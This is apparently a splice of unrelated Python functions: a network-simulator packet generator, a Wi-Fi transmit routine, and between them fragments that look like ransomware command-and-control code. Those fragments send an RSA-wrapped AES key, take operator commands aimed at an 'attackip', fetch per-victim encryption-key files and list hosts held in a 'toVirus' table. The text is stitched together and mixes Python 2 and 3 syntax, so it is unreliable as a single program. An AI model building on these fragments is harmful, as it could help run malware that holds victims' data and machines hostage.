def onGeneratePacket(self):
print("%0.3f: node %s: on generate_packet" % (globals.now, self.id))
str = "original packet %s" % (self.id)
dst_mac = self.target_mac
dst_ip = self.target_ip
packet = Packet(self.id, 255, self.x, self.y, dst_mac, dst_ip,
self.mac, self.ip, self.channel, 10, str,
"TYPE_ORIGINAL")
packet.length = 1500
packet.phy_speed = 250 * 1000
packet.seq = self.seq
self.seq += 1
if len(self.packet_queue) < 10:
self.packet_queue.append(packet)
if self.state == "STATE_LISTENING":
self.checkRemainingPacket()
elif self.state == "STATE_BACKOFF":
pass
elif self.state == "STATE_SENDING":
pass
elif self.state == "STATE_RECEIVING":
pass
else:
print("not implemented state: %s" % self.state)
sys.exit()
t = globals.now + self.one_lambda * rand() * 2
event = Event(t, self.onGeneratePacket)
globals.events.append(event)
def sendAESKey(self):
pkt = Packet()
pkt.state = '100'
pkt.toIP = ''
pkt.returnIP = 'MRS'
pkt.data = self.key
pkt.RSAEncryptData(self.RSAPublicKey)
pkt.length = len(pkt.data)
self.messageQ.put(pkt)
def send(client):
cmd = raw_input("Enter command: ")
pkt = Packet()
pkt.toIP = attackip
pkt.state = cmd
if pkt.state == "147":
base = "C:\Users\Matt\Desktop\\testfolder"
path = base + "\\" + pkt.toIP + "-encryptionkey"
try:
f = open(path,"rb")
pkt.data = f.read()
pkt.length = len(pkt.data)
except:
print "no encryption key found"
pkt.send(client)
def sendIPList(self,address=""):
state = "100"
ips = self.toVirus.keys()
data = ""
for ip in ips:
data += ip + ":" + self.toVirus[ip][2]
length = len(data)
pkt = Packet()
pkt.state = state
pkt.length = str(length)
pkt.data = data
pkt.encryptData(self.AESKey)
print "IPList: " + data
if address != "":
pkt.returnIP = address[0]
self.enqueueToClient(pkt)
else:
for ip in self.toClient.keys():
self.enqueueToClient(pkt,ip)
def transmit_pkt(self):
pkt = Packet()
pkt.TxPwr = 16.02 #dBm
pkt.length = self.txv.length
pkt.CBW = self.txv.BW
pkt.STBC = self.txv.STBC
if self.ta is None:
pkt.MCS = self.txv.MCS
pkt.Ntx = self.txv.Ntx
pkt.Mode = self.txv.Mode
else:
selected_rate = self.ta.select_rate(pkt)
pkt.MCS = selected_rate['mcs']
pkt.Mode = selected_rate['mode']
mode = pkt.Mode.split()
ntxbynrx = mode[1]
pkt.Ntx = int(ntxbynrx[0])
return pkt
